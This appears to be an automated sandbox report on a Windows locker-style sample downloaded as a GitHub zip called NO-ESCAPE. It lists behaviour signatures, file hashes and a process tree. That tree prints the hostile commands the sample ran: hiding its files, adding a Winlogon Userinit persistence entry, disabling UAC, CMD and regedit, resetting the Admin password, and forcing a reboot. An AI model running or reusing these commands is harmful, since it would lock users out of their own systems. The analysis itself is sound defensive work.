Resubmissions

24-02-2024 23:14

240224-28cxlshd31 10

24-02-2024 23:13

240224-27ls5age57 7

Analysis

  • max time kernel
    35s
  • max time network
    37s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240221-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240221-enlocale:en-usos:windows10-2004-x64system
  • submitted
    24-02-2024 23:14

Errors

Reason
Machine shutdown

General

  • Target

    https://github.com/LocalAlloc/NO-ESCAPE/archive/refs/heads/main.zip

Malware Config

Signatures

  • Modifies WinLogon for persistence 2 TTPs 1 IoCs
  • UAC bypass 3 TTPs 1 IoCs
  • Disables RegEdit via registry modification 1 IoCs
  • Sets file to hidden 1 TTPs 2 IoCs

    Modifies file attributes to stop it showing in Explorer etc.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Sets desktop wallpaper using registry 2 TTPs 1 IoCs
  • Drops file in Program Files directory 12 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Modifies data under HKEY_USERS 15 IoCs
  • Modifies registry key 1 TTPs 1 IoCs
  • Runs .reg file with regedit 1 IoCs
  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of FindShellTrayWindow 34 IoCs
  • Suspicious use of SendNotifyMessage 24 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Views/modifies file attributes 1 TTPs 2 IoCs

Processes

  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://github.com/LocalAlloc/NO-ESCAPE/archive/refs/heads/main.zip
    1⤵
    • Enumerates system info in registry
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SendNotifyMessage
    • Suspicious use of WriteProcessMemory
    PID:2980
    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ffb621946f8,0x7ffb62194708,0x7ffb62194718
      2⤵
        PID:1868
      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2224,1000393443658851577,13261755661168314995,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2296 /prefetch:3
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        PID:3172
      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2224,1000393443658851577,13261755661168314995,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2220 /prefetch:2
        2⤵
          PID:880
        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2224,1000393443658851577,13261755661168314995,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2924 /prefetch:8
          2⤵
            PID:2004
          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2224,1000393443658851577,13261755661168314995,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3412 /prefetch:1
            2⤵
              PID:4068
            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2224,1000393443658851577,13261755661168314995,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3448 /prefetch:1
              2⤵
                PID:3272
              • C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
                "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2224,1000393443658851577,13261755661168314995,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5400 /prefetch:8
                2⤵
                  PID:2484
                • C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
                  "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2224,1000393443658851577,13261755661168314995,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5400 /prefetch:8
                  2⤵
                  • Suspicious behavior: EnumeratesProcesses
                  PID:3972
                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2224,1000393443658851577,13261755661168314995,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4724 /prefetch:1
                  2⤵
                    PID:4488
                  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_collections.mojom.CollectionsDataManager --field-trial-handle=2224,1000393443658851577,13261755661168314995,131072 --lang=en-US --service-sandbox-type=collections --mojo-platform-channel-handle=4036 /prefetch:8
                    2⤵
                      PID:2444
                    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=2224,1000393443658851577,13261755661168314995,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4728 /prefetch:8
                      2⤵
                      • Suspicious behavior: EnumeratesProcesses
                      PID:3568
                  • C:\Windows\System32\CompPkgSrv.exe
                    C:\Windows\System32\CompPkgSrv.exe -Embedding
                    1⤵
                      PID:4360
                    • C:\Windows\System32\CompPkgSrv.exe
                      C:\Windows\System32\CompPkgSrv.exe -Embedding
                      1⤵
                        PID:928
                      • C:\Windows\System32\rundll32.exe
                        C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
                        1⤵
                          PID:1624
                        • C:\Users\Admin\Downloads\NO-ESCAPE-main\NO-ESCAPE-main\No Escape.exe
                          "C:\Users\Admin\Downloads\NO-ESCAPE-main\NO-ESCAPE-main\No Escape.exe"
                          1⤵
                          • Drops file in Program Files directory
                          • Suspicious use of SetWindowsHookEx
                          PID:4976
                          • C:\Windows\system32\wscript.exe
                            "C:\Windows\sysnative\wscript.exe" C:\Users\Admin\AppData\Local\Temp\BF68.tmp\BF69.tmp\BF6A.vbs //Nologo
                            2⤵
                            • Checks computer location settings
                            PID:4720
                            • C:\Windows\system32\cmd.exe
                              C:\Windows\system32\cmd.exe /c ""C:\Program Files (x86)\hello.bat" "
                              3⤵
                                PID:776
                                • C:\Windows\system32\attrib.exe
                                  attrib +s +h C:\msg.exe
                                  4⤵
                                  • Sets file to hidden
                                  • Views/modifies file attributes
                                  PID:2784
                                • C:\Windows\system32\attrib.exe
                                  attrib +s +h C:\launch.exe
                                  4⤵
                                  • Sets file to hidden
                                  • Views/modifies file attributes
                                  PID:3676
                                • C:\Windows\regedit.exe
                                  regedit /s hello.reg
                                  4⤵
                                  • Runs .reg file with regedit
                                  PID:2596
                                • C:\Windows\system32\reg.exe
                                  reg add HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\System /v DisableLogonBackgroundImage /t REG_DWORD /d 1
                                  4⤵
                                    PID:60
                                  • C:\Windows\system32\reg.exe
                                    reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Userinit /t REG_SZ /d C:\Windows\system32\userinit.exe,C:\launch.exe /f
                                    4⤵
                                    • Modifies WinLogon for persistence
                                    PID:2644
                                  • C:\Windows\system32\reg.exe
                                    reg add "HKEY_CURRENT_USER\control panel\desktop" /v wallpaper /t REG_SZ /d C:\hello.jpg /f
                                    4⤵
                                    • Sets desktop wallpaper using registry
                                    PID:3920
                                  • C:\Windows\system32\reg.exe
                                    reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\ActiveDesktop /v NoChangingWallPaper /t REG_DWORD /d 1
                                    4⤵
                                      PID:1856
                                    • C:\Windows\system32\reg.exe
                                      reg ADD HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
                                      4⤵
                                      • UAC bypass
                                      PID:1208
                                    • C:\Windows\system32\reg.exe
                                      reg add HKEY_CURRENT_USER\SOFTWARE\Policies\Microsoft\Windows\System /v DisableCMD /t REG_DWORD /d 2
                                      4⤵
                                        PID:1956
                                      • C:\Windows\system32\reg.exe
                                        REG add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableRegistryTools /t REG_DWORD /d 1 /f
                                        4⤵
                                        • Disables RegEdit via registry modification
                                        • Modifies registry key
                                        PID:4664
                                      • C:\Windows\system32\net.exe
                                        net user Admin death
                                        4⤵
                                          PID:4128
                                          • C:\Windows\system32\net1.exe
                                            C:\Windows\system32\net1 user Admin death
                                            5⤵
                                              PID:3564
                                          • C:\Windows\system32\shutdown.exe
                                            shutdown /t 0 /r
                                            4⤵
                                            • Suspicious use of AdjustPrivilegeToken
                                            PID:1452
                                    • C:\Windows\system32\LogonUI.exe
                                      "LogonUI.exe" /flags:0x4 /state0:0xa39bb055 /state1:0x41c64e6d
                                      1⤵
                                      • Modifies data under HKEY_USERS
                                      • Suspicious use of SetWindowsHookEx
                                      PID:4944

                                    Network

                                    MITRE ATT&CK Enterprise v15

                                    Replay Monitor

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                                    Downloads

                                    • C:\Program Files (x86)\date.txt

                                      Filesize

                                      120B

                                      MD5

                                      255a8e245b6ad378558b90cbe3dbc3d0

                                      SHA1

                                      6eb73f9f2034c113a2a6b1aab9a440a21928cfc2

                                      SHA256

                                      d3195bde888f9b8a71f2eb840222f1586b652d0ede9f39841a180ead03633ca9

                                      SHA512

                                      67e03d7bffa0dec32535b6da46d5b7f38d94a7c9a231aa2fa625b81485d41c1ecac95b08fe5b7a605fcfe1c7e37c55ee716c9045df90ea6e030b86e52ec09edf

                                    • C:\Program Files (x86)\hello.bat

                                      Filesize

                                      1KB

                                      MD5

                                      b86fddd2b764f079615be5d4dc3e158d

                                      SHA1

                                      2510479054db1fe52cc2dcd3c7033d91204cb367

                                      SHA256

                                      2b2114784d15b0b0d5475256851b4d0d4da7181198c2a93a304ecedb98eaf091

                                      SHA512

                                      915363bc9f6e665358c8d25f5f5f51d64c53cb755be999013217162b126705ce641ea809047bc84511db7e3e383b848ec3932924baa8926d51a51d0037a5ca63

                                    • C:\Program Files (x86)\hello.jpg

                                      Filesize

                                      110KB

                                      MD5

                                      057ea45c364eb2994808a47b118556a2

                                      SHA1

                                      1d48c9c15ea5548af1475b5a369a4f7b8db42858

                                      SHA256

                                      6e1115188aa00fb5ff031899100bacb0d34819707e069bca3eb53935ebb39836

                                      SHA512

                                      582c7ecf2d0c33c8706ff3f39aa926780aa8f0dc0ff5d563905a5100254b81b89def22206abee0871ab339a3d463de9e6ec1782d92198e8f386f173654b6e760

                                    • C:\Program Files (x86)\hello.reg

                                      Filesize

                                      3KB

                                      MD5

                                      81427e9d5d10657b9edffd22e7b405bb

                                      SHA1

                                      f27ab62f77f827dbb32c66a35ac48006c47f4374

                                      SHA256

                                      bb21001c1c468e6e372d836952c3efb7fbdc98e9a20a1bfdcc4beb1b7a1e7f83

                                      SHA512

                                      b0ee65bcef13be7c17db6e06b96cd44774fcebe6f4a411b0073493ff53f795e3b7c49e921c3bd2e41256638bc161f5218d1c51b589c3e10164f8f2c0d1db1592

                                    • C:\Program Files (x86)\launch.exe

                                      Filesize

                                      92KB

                                      MD5

                                      b4acc41d0e55b299ffeec11a8a20cf08

                                      SHA1

                                      bbee20882bdd9dcd24b54b6af6c48cf5efc8c6fa

                                      SHA256

                                      34bc0d5b6029a74b9cda56b72434ec1b55b6742ff5ef832d36027a987a63cd42

                                      SHA512

                                      d4fa9900d703ea12d508929718433f97581a23b63458e5070ff7749871a7f60889db45098ec2972687b864ba97ab4fc307e8c80c4450dee79c0a5738818d2794

                                    • C:\Program Files (x86)\msg.exe

                                      Filesize

                                      9KB

                                      MD5

                                      331a0667b11e02330357565427dc1175

                                      SHA1

                                      d84c1ae0bf2c8ca1f433f0086ca86e07f61204c2

                                      SHA256

                                      fc7174e44a1d34040c3bc05ce24e648742a38a3accce22e8300d7059e4d12431

                                      SHA512

                                      1c47f0438dce58d473d93c10f233650df3e86d7e762a08b3a933da37683e76a079d275db4a1b4028d903f7e43f487173ba8bb25c4cff6f3e1161d0a5b2b18cec

                                    • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

                                      Filesize

                                      152B

                                      MD5

                                      3bde7b7b0c0c9c66bdd8e3f712bd71eb

                                      SHA1

                                      266bd462e249f029df05311255a15c8f42719acc

                                      SHA256

                                      2ccd4a1b56206faa8f6482ce7841636e7bb2192f4cf5258d47e209953a77a01a

                                      SHA512

                                      5fab7a83d86d65e7c369848c5a7d375d9ad132246b57653242c7c7d960123a50257c9e8c4c9a8f22ee861fce357b018236ac877b96c03990a88de4ddb9822818

                                    • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

                                      Filesize

                                      152B

                                      MD5

                                      9cafa4c8eee7ab605ab279aafd19cc14

                                      SHA1

                                      e362e5d37d1a79e7b4a8642b068934e4571a55f1

                                      SHA256

                                      d0817f51aa2fb8c3cae18605dbfd6ec21a6ff3f953171e7ac064648ffdee1166

                                      SHA512

                                      eefd65ffcfb98ac8c3738eb2b3f4933d5bc5b992a1d465b8424903c8f74382ec2c95074290ddbb1001204843bfef59a32b868808a6bee4bc41ee9571515bbac6

                                    • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network Persistent State

                                      Filesize

                                      255B

                                      MD5

                                      d11edf9e08a127c768843acea41d0bc5

                                      SHA1

                                      ff1af9b39de4a3f547407fd9864ffdd2bb6c7354

                                      SHA256

                                      217e4d9d1412e45abf7a653f72a5ab8b53bc8fc6f377f52a042668a41abc7478

                                      SHA512

                                      92c3f0def567b0e2f2523ed25eb9d4abff06070b8be744fea4a6678f25f292439d7bc0c8015eaa6281b7f43149eebb3d3821cd6d6436598481113694b11ddea3

                                    • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

                                      Filesize

                                      6KB

                                      MD5

                                      20fa08ebd5c32c3b3a6d33a95e60ef7d

                                      SHA1

                                      7bc65445dfc440d1099de4dbe4fb700d9cfe344e

                                      SHA256

                                      c0fee5ab3122e426cd74e8a5a292ae274f7606eb186123160b2f45ee2b7677b9

                                      SHA512

                                      fb454524d0a50ee8ae0ac627c36d03fb170c8a23ffb2393bcf6616a53eea2df53754d79942e48a6753af69d4190c35098f4ed1ea646be8374dba1d5dc7b80d00

                                    • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

                                      Filesize

                                      6KB

                                      MD5

                                      86ce21ca3d99b108fce85c090211af8c

                                      SHA1

                                      16df8bed22ab76befcdd8d4870a2d3f194ef6246

                                      SHA256

                                      7bbd73fb0999f74df0add62c0b4d02e958cf6f186f615424a3e23a1701a54c8e

                                      SHA512

                                      f7f1f3d53d898de4afdb6771d7fbcebaf6cfd4b1985a2302cb5a8e0227d84170e8ae753384d3a7c0030d507cc83ec669d1969f278dc6440d22ef245b98648f18

                                    • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\data_reduction_proxy_leveldb\CURRENT

                                      Filesize

                                      16B

                                      MD5

                                      6752a1d65b201c13b62ea44016eb221f

                                      SHA1

                                      58ecf154d01a62233ed7fb494ace3c3d4ffce08b

                                      SHA256

                                      0861415cada612ea5834d56e2cf1055d3e63979b69eb71d32ae9ae394d8306cd

                                      SHA512

                                      9cfd838d3fb570b44fc3461623ab2296123404c6c8f576b0de0aabd9a6020840d4c9125eb679ed384170dbcaac2fa30dc7fa9ee5b77d6df7c344a0aa030e0389

                                    • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

                                      Filesize

                                      11KB

                                      MD5

                                      d573bd8f0e38a0865f7222cd48e6cc2b

                                      SHA1

                                      c15810b38d99b4d0ad9ee30a69a9923c61d755b6

                                      SHA256

                                      8ec3623082c4f9b45805a4a18b570e7e12fcd8cbe84fdf51b36b54a05a64e602

                                      SHA512

                                      7156d7e786b0e15ef39471b994f863a827f2c8d2dd9e1507d70924aecbb3e883568ad8dd16430cfefb5bb55b6a58b5fd13f602946dedb94db197bd67047170f8

                                    • C:\Users\Admin\AppData\Local\Temp\BF68.tmp\BF69.tmp\BF6A.vbs

                                      Filesize

                                      588B

                                      MD5

                                      67706bca9ceaba11530e05d351487003

                                      SHA1

                                      3a5ed77f81b14093a5f18c4d46895bc7ea770fee

                                      SHA256

                                      190a0d994512ed000cf74bd40fb0502988c2ac48855b23a73fd905c0305fc30f

                                      SHA512

                                      902ac91678d85801a779acbc212c75beba72f8da996b0ed1b148a326c2dd635b88210f9a503fbbffa5271335483eae972e6a00acbc01ec013cf355c080444598

                                    • C:\Users\Admin\Downloads\NO-ESCAPE-main.zip

                                      Filesize

                                      732KB

                                      MD5

                                      9172731ba3f16b578bcb14000ccbccd4

                                      SHA1

                                      e7ab716661ed88ecf060dc5d53720877b141eac9

                                      SHA256

                                      ce0a32e35b7c79e7e2ffe7bd3c7566a6fb843341268ad50f4a594e56e17a5110

                                      SHA512

                                      3a35995b6dadf408ca69699220120bba5f70fb3c2a850165ab11dad03821c8ce316bf7e9662f8976e0bf659cdb9adf0c8d0d7beca22b59480e4830dc5e02666c